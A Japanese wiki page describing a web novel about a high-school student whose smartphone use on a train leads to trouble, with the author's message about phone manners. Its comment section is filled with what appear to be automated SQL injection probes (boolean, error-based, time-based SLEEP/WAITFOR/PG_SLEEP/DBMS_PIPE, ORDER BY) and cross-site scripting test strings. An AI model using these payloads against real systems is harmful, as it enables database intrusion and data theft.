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*あらすじ [#ud930c5e]
ある普通の高校生が電車でスマホを使っていたら、大変なことになってしまった。この話はかなりオーバーに書いているかもしれません。(残酷な描写ありは念のためにつけてあります。)この話から作者自身が何を伝えたいのか、考えてみてください。

*摘要 [#wdba2cf2]
**Nコード [#g003d5ce]
N0722CT
**投稿日 [#kd66b9a9]
2015年6月28日
**作者 [#q3236177]
エレバス鉄朗
**ジャンル・キ－ワード [#tf47c4d0]
***ジャンル [#kefedc50]
その他〔その他〕
***キーワード [#aac5fe96]
&color(Red){残酷描写有}; 電車 刑事事件 スマホ 高校生
*この話通じて何を言いたいのか [#ta5ddb9a]
極度に言えば「公共交通機関で携帯・スマホを使うな」です。ましては、優先席付近では電源を切るべきです。稀に電車でべちゃくちゃ話している人がいますが、迷惑だと思います。もうちょっとマナーを意識したほうがいいなと思いながらこの小説を書きました。

*リンク [#oe2d97ca]
[[小説家になろうの該当作品に飛ぶ:http://ncode.syosetu.com/n8080cf/]]

*作品へのコメント欄 [#v1c3d3b7]
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- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:01:16};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:01:30};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:05:13};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:05:15};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:05:21};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:09:49};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:14:14};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:18:23};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:18:26};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:18:31};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:23:01};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:23:06};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:23:09};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:27:38};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:32:09};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:32:11};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:32:16};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:36:26};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:36:29};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:36:33};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:41:54};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:41:59};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:42:02};
- rmhP -- [[ezCu.,.)("')..]] &new{2025-09-26 (金) 03:47:14};
- rmhP -- [[ezCu'DQlyIX<'">HWkfPY]] &new{2025-09-26 (金) 03:47:18};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:47:21};
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- rmhP'eUYuAB<'">ErNIRa -- [[ezCu]] &new{2025-09-26 (金) 03:52:42};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:52:45};
- rmhP')/**/AND/**/1726=5471/**/AND/**/('kreA'='kreA -- [[ezCu]] &new{2025-09-26 (金) 03:52:49};
- rmhP'/**/AND/**/6570=6164/**/AND/**/'zPMz'='zPMz -- [[ezCu]] &new{2025-09-26 (金) 03:52:53};
- rmhP)/**/AND/**/4033=7331/**/AND/**/(3299=3299 -- [[ezCu]] &new{2025-09-26 (金) 03:52:57};
- rmhP/**/AND/**/5383=8904 -- [[ezCu]] &new{2025-09-26 (金) 03:53:02};
- rmhP/**/AND/**/3895=8613--/**/PRfN -- [[ezCu]] &new{2025-09-26 (金) 03:53:05};
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- rmhP')/**/AND/**/EXTRACTVALUE(5489,CONCAT(0x5c,0x71786a7071,(SELECT/**/(ELT(5489=5489,1))),0x716a766b71))/**/AND/**/('ZFzD'='ZFzD -- [[ezCu]] &new{2025-09-26 (金) 03:53:46};
- rmhP'/**/AND/**/EXTRACTVALUE(5489,CONCAT(0x5c,0x71786a7071,(SELECT/**/(ELT(5489=5489,1))),0x716a766b71))/**/AND/**/'mqZK'='mqZK -- [[ezCu]] &new{2025-09-26 (金) 03:53:49};
- rmhP)/**/AND/**/EXTRACTVALUE(5489,CONCAT(0x5c,0x71786a7071,(SELECT/**/(ELT(5489=5489,1))),0x716a766b71))/**/AND/**/(6743=6743 -- [[ezCu]] &new{2025-09-26 (金) 03:53:53};
- rmhP/**/AND/**/EXTRACTVALUE(5489,CONCAT(0x5c,0x71786a7071,(SELECT/**/(ELT(5489=5489,1))),0x716a766b71)) -- [[ezCu]] &new{2025-09-26 (金) 03:53:56};
- rmhP/**/AND/**/EXTRACTVALUE(5489,CONCAT(0x5c,0x71786a7071,(SELECT/**/(ELT(5489=5489,1))),0x716a766b71))--/**/Bkws -- [[ezCu]] &new{2025-09-26 (金) 03:53:59};
- rmhP')/**/AND/**/4808=CAST((CHR(113)||CHR(120)||CHR(106)||CHR(112)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(4808=4808)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))/**/AS/**/NUMERIC)/**/AND/**/('rrfZ'='rrfZ -- [[ezCu]] &new{2025-09-26 (金) 03:54:03};
- rmhP'/**/AND/**/4808=CAST((CHR(113)||CHR(120)||CHR(106)||CHR(112)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(4808=4808)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))/**/AS/**/NUMERIC)/**/AND/**/'IGYG'='IGYG -- [[ezCu]] &new{2025-09-26 (金) 03:54:06};
- rmhP)/**/AND/**/4808=CAST((CHR(113)||CHR(120)||CHR(106)||CHR(112)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(4808=4808)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))/**/AS/**/NUMERIC)/**/AND/**/(4028=4028 -- [[ezCu]] &new{2025-09-26 (金) 03:54:10};
- rmhP/**/AND/**/4808=CAST((CHR(113)||CHR(120)||CHR(106)||CHR(112)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(4808=4808)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))/**/AS/**/NUMERIC) -- [[ezCu]] &new{2025-09-26 (金) 03:54:14};
- rmhP/**/AND/**/4808=CAST((CHR(113)||CHR(120)||CHR(106)||CHR(112)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(4808=4808)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))/**/AS/**/NUMERIC)--/**/tcip -- [[ezCu]] &new{2025-09-26 (金) 03:54:17};
- rmhP')/**/AND/**/2602/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(120)+CHAR(106)+CHAR(112)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(2602=2602)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)))/**/AND/**/('utfQ'='utfQ -- [[ezCu]] &new{2025-09-26 (金) 03:54:21};
- rmhP'/**/AND/**/2602/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(120)+CHAR(106)+CHAR(112)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(2602=2602)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)))/**/AND/**/'uxSL'='uxSL -- [[ezCu]] &new{2025-09-26 (金) 03:54:24};
- rmhP)/**/AND/**/2602/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(120)+CHAR(106)+CHAR(112)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(2602=2602)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)))/**/AND/**/(7882=7882 -- [[ezCu]] &new{2025-09-26 (金) 03:54:27};
- rmhP/**/AND/**/2602/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(120)+CHAR(106)+CHAR(112)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(2602=2602)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113))) -- [[ezCu]] &new{2025-09-26 (金) 03:54:31};
- rmhP/**/AND/**/2602/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(120)+CHAR(106)+CHAR(112)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(2602=2602)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)))--/**/YWDO -- [[ezCu]] &new{2025-09-26 (金) 03:54:34};
- rmhP')/**/AND/**/2221=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(106)||CHR(112)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(2221=2221)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||CHR(62)))/**/FROM/**/DUAL)/**/AND/**/('DuxE'='DuxE -- [[ezCu]] &new{2025-09-26 (金) 03:54:36};
- rmhP'/**/AND/**/2221=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(106)||CHR(112)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(2221=2221)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||CHR(62)))/**/FROM/**/DUAL)/**/AND/**/'OBAt'='OBAt -- [[ezCu]] &new{2025-09-26 (金) 03:54:39};
- rmhP)/**/AND/**/2221=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(106)||CHR(112)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(2221=2221)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||CHR(62)))/**/FROM/**/DUAL)/**/AND/**/(1894=1894 -- [[ezCu]] &new{2025-09-26 (金) 03:54:41};
- rmhP/**/AND/**/2221=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(106)||CHR(112)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(2221=2221)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||CHR(62)))/**/FROM/**/DUAL) -- [[ezCu]] &new{2025-09-26 (金) 03:54:43};
- rmhP/**/AND/**/2221=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(106)||CHR(112)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(2221=2221)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||CHR(62)))/**/FROM/**/DUAL)--/**/LmSe -- [[ezCu]] &new{2025-09-26 (金) 03:54:47};
- rmhP');SELECT/**/PG_SLEEP(5)-- -- [[ezCu]] &new{2025-09-26 (金) 03:54:50};
- rmhP';SELECT/**/PG_SLEEP(5)-- -- [[ezCu]] &new{2025-09-26 (金) 03:54:54};
- rmhP);SELECT/**/PG_SLEEP(5)-- -- [[ezCu]] &new{2025-09-26 (金) 03:54:57};
- rmhP;SELECT/**/PG_SLEEP(5)-- -- [[ezCu]] &new{2025-09-26 (金) 03:55:01};
- rmhP');WAITFOR/**/DELAY/**/'0:0:5'-- -- [[ezCu]] &new{2025-09-26 (金) 03:55:04};
- rmhP';WAITFOR/**/DELAY/**/'0:0:5'-- -- [[ezCu]] &new{2025-09-26 (金) 03:55:07};
- rmhP);WAITFOR/**/DELAY/**/'0:0:5'-- -- [[ezCu]] &new{2025-09-26 (金) 03:55:10};
- rmhP;WAITFOR/**/DELAY/**/'0:0:5'-- -- [[ezCu]] &new{2025-09-26 (金) 03:55:14};
- rmhP');SELECT/**/DBMS_PIPE.RECEIVE_MESSAGE(CHR(107)||CHR(71)||CHR(83)||CHR(87),5)/**/FROM/**/DUAL-- -- [[ezCu]] &new{2025-09-26 (金) 03:55:17};
- rmhP';SELECT/**/DBMS_PIPE.RECEIVE_MESSAGE(CHR(107)||CHR(71)||CHR(83)||CHR(87),5)/**/FROM/**/DUAL-- -- [[ezCu]] &new{2025-09-26 (金) 03:55:21};
- rmhP);SELECT/**/DBMS_PIPE.RECEIVE_MESSAGE(CHR(107)||CHR(71)||CHR(83)||CHR(87),5)/**/FROM/**/DUAL-- -- [[ezCu]] &new{2025-09-26 (金) 03:55:25};
- rmhP;SELECT/**/DBMS_PIPE.RECEIVE_MESSAGE(CHR(107)||CHR(71)||CHR(83)||CHR(87),5)/**/FROM/**/DUAL-- -- [[ezCu]] &new{2025-09-26 (金) 03:55:28};
- rmhP')/**/AND/**/(SELECT/**/8282/**/FROM/**/(SELECT(SLEEP(5)))rDnx)/**/AND/**/('wkcR'='wkcR -- [[ezCu]] &new{2025-09-26 (金) 03:55:33};
- rmhP'/**/AND/**/(SELECT/**/8282/**/FROM/**/(SELECT(SLEEP(5)))rDnx)/**/AND/**/'sAAj'='sAAj -- [[ezCu]] &new{2025-09-26 (金) 03:55:35};
- rmhP)/**/AND/**/(SELECT/**/8282/**/FROM/**/(SELECT(SLEEP(5)))rDnx)/**/AND/**/(8617=8617 -- [[ezCu]] &new{2025-09-26 (金) 03:55:40};
- rmhP/**/AND/**/(SELECT/**/8282/**/FROM/**/(SELECT(SLEEP(5)))rDnx) -- [[ezCu]] &new{2025-09-26 (金) 03:55:43};
- rmhP/**/AND/**/(SELECT/**/8282/**/FROM/**/(SELECT(SLEEP(5)))rDnx)--/**/Calm -- [[ezCu]] &new{2025-09-26 (金) 03:55:47};
- rmhP')/**/AND/**/7093=(SELECT/**/7093/**/FROM/**/PG_SLEEP(5))/**/AND/**/('EWjC'='EWjC -- [[ezCu]] &new{2025-09-26 (金) 03:55:50};
- rmhP'/**/AND/**/7093=(SELECT/**/7093/**/FROM/**/PG_SLEEP(5))/**/AND/**/'clBk'='clBk -- [[ezCu]] &new{2025-09-26 (金) 03:55:54};
- rmhP)/**/AND/**/7093=(SELECT/**/7093/**/FROM/**/PG_SLEEP(5))/**/AND/**/(6528=6528 -- [[ezCu]] &new{2025-09-26 (金) 03:55:58};
- rmhP/**/AND/**/7093=(SELECT/**/7093/**/FROM/**/PG_SLEEP(5)) -- [[ezCu]] &new{2025-09-26 (金) 03:56:02};
- rmhP/**/AND/**/7093=(SELECT/**/7093/**/FROM/**/PG_SLEEP(5))--/**/ChHe -- [[ezCu]] &new{2025-09-26 (金) 03:56:06};
- rmhP')/**/WAITFOR/**/DELAY/**/'0:0:5'/**/AND/**/('BbMM'='BbMM -- [[ezCu]] &new{2025-09-26 (金) 03:56:10};
- rmhP'/**/WAITFOR/**/DELAY/**/'0:0:5'/**/AND/**/'vgDj'='vgDj -- [[ezCu]] &new{2025-09-26 (金) 03:56:13};
- rmhP)/**/WAITFOR/**/DELAY/**/'0:0:5'/**/AND/**/(6287=6287 -- [[ezCu]] &new{2025-09-26 (金) 03:56:18};
- rmhP/**/WAITFOR/**/DELAY/**/'0:0:5' -- [[ezCu]] &new{2025-09-26 (金) 03:56:21};
- rmhP/**/WAITFOR/**/DELAY/**/'0:0:5'--/**/MQkM -- [[ezCu]] &new{2025-09-26 (金) 03:56:24};
- rmhP')/**/AND/**/9449=DBMS_PIPE.RECEIVE_MESSAGE(CHR(113)||CHR(107)||CHR(88)||CHR(113),5)/**/AND/**/('IJMt'='IJMt -- [[ezCu]] &new{2025-09-26 (金) 03:56:28};
- rmhP'/**/AND/**/9449=DBMS_PIPE.RECEIVE_MESSAGE(CHR(113)||CHR(107)||CHR(88)||CHR(113),5)/**/AND/**/'HXfA'='HXfA -- [[ezCu]] &new{2025-09-26 (金) 03:56:32};
- rmhP)/**/AND/**/9449=DBMS_PIPE.RECEIVE_MESSAGE(CHR(113)||CHR(107)||CHR(88)||CHR(113),5)/**/AND/**/(1733=1733 -- [[ezCu]] &new{2025-09-26 (金) 03:56:37};
- rmhP/**/AND/**/9449=DBMS_PIPE.RECEIVE_MESSAGE(CHR(113)||CHR(107)||CHR(88)||CHR(113),5) -- [[ezCu]] &new{2025-09-26 (金) 03:56:41};
- rmhP/**/AND/**/9449=DBMS_PIPE.RECEIVE_MESSAGE(CHR(113)||CHR(107)||CHR(88)||CHR(113),5)--/**/cAON -- [[ezCu]] &new{2025-09-26 (金) 03:56:46};
- rmhP')/**/ORDER/**/BY/**/1--/**/ddJF -- [[ezCu]] &new{2025-09-26 (金) 03:56:51};
- rmhP')/**/ORDER/**/BY/**/4407--/**/MHwK -- [[ezCu]] &new{2025-09-26 (金) 03:56:54};
- rmhP'/**/ORDER/**/BY/**/1--/**/pFNJ -- [[ezCu]] &new{2025-09-26 (金) 03:56:59};
- rmhP'/**/ORDER/**/BY/**/5852--/**/dtAX -- [[ezCu]] &new{2025-09-26 (金) 03:57:02};
- rmhP)/**/ORDER/**/BY/**/1--/**/yEGm -- [[ezCu]] &new{2025-09-26 (金) 03:57:07};
- rmhP)/**/ORDER/**/BY/**/4452--/**/JYHA -- [[ezCu]] &new{2025-09-26 (金) 03:57:10};
- rmhP/**/ORDER/**/BY/**/1--/**/Hlco -- [[ezCu]] &new{2025-09-26 (金) 03:57:15};
- rmhP/**/ORDER/**/BY/**/7004--/**/DPEm -- [[ezCu]] &new{2025-09-26 (金) 03:57:19};
- rmhP/**/ORDER/**/BY/**/1--/**/lqsR -- [[ezCu]] &new{2025-09-26 (金) 03:57:23};
- rmhP/**/ORDER/**/BY/**/6052--/**/PNEX -- [[ezCu]] &new{2025-09-26 (金) 03:57:26};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:57:35};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:57:41};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:57:43};

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- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:27:34};
- rmhP -- [[ezCu]] &new{2025-09-26 (金) 03:27:31};